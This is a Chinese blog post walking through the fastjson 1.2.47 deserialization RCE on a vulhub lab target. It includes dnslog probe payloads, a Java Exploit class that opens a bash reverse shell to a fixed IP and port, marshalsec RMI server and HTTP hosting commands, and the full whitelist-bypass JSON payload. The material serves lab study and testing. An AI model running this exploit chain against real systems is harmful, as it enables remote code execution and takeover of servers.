首页 > 其他分享 >fastjson1.2.47rce

fastjson1.2.47rce

时间:2022-11-11 11:56:20浏览次数:74  
标签:dnslog java fastjson1.2 47rce Exploit http type class

漏洞产生原因

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

 

 

环境搭建

vulhub靶场

cd到对应目录

docker-compose up -d

访问http://xxxx:8090

 

 

将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。

dnslog测试:

dnslog为dnslog地址如:

{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}

{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}

{"a":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL",
"val":"dnslog"}}""}}

{"a":{"@type":"java.net.URL","val":"dnslog"}}

将拦截到的请求包发送到repeater模块儿后右击改变请求方式。

post包如下

 

 

 

测试结果

 

 

创建恶意类搭建服务器,尝试执行命令

目标环境是 openjdk:8u102,这个版本没有 com.sun.jndi.rmi.object.trustURLCodebase的限制(该限制会导致不信任通过URL加载类),我们可以简单利用RMI进行命令执行。

为保证创建恶意类编译环境与反序列化环境(及漏洞所在环境)一致。

1.进入docker虚拟机创建编译
2.下载对应Java版本创建编译

这里选择第二种方式,因为docker里没有javac也没有vim........

下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html进去后寻找对应版本(jdk1.8.0_102)。需注册一个oracle账号。

下载安装完毕后配置环境变量(配置环境变量教程自行搜索)

java代码,

创建文件和反弹shell命令开一个,注释一个。未做同时开尝试。

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
   static {
       try {
           Runtime rt = Runtime.getRuntime();
           //String[] commands = {"touch", "/tmp/success"};//创建文件命令
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.253.168/6666 0>&1"};//反弹shell命令
           Process pc = rt.exec(commands);
           pc.waitFor();
      } catch (Exception e) {
           // do nothing
      }
  }
}
javac Exploit.java 编译该类生成class文件。Exploit.class

借助 marshalsec 项目(在我apachelog4j2rce那篇有涉及),启动一个RMI服务器,监听9999端口,并制定加载远程类 Exploit.class

准备好上述Exploit.class后

可以使用pyhton3在Exploit.class所在文件开启http服务,(也可使用其他,要开启http服务,Exploit要能被靶机访问到)

python -m http.server 此处可加端口号自定端口

 

 

 

 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxx/#Exploit" 9999

xxxx为Exploit.class所在服务器地址端口号(靶机要能访问到该服务器)

 

 

准备完毕;

反弹shell需要nc在一台靶机能访问的机器上开启nc监听,对应上文反弹shell命令中期机器ip.这里我直接在靶机所在的物理机开启了监听。

 

 

 

 

payload攻击尝试

payload

{
  "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://xxxx:9999/Exploit",
      "autoCommit":true
  }
}



这里xxxx为rmiserver地址。我这里为192.168.253.174。

 

rmiserver及http.server

 

 

反弹shell

 

 

 

图解:

机器1:win10提供http服务机器

机器2:win10提供rmiserver机器

机器3:centos7提供nc接受反弹shell

机器4:centos7docker镜像靶场环境

机器5:攻击机

 

 

 

 

 

 

参考链接:

  1. https://vulhub.org/#/environments/fastjson/1.2.47-rce/

  2. https://su18.org/post/fastjson/#7-fastjson-1247



标签:dnslog,java,fastjson1.2,47rce,Exploit,http,type,class
From: https://www.cnblogs.com/jdslf/p/16880084.html

相关文章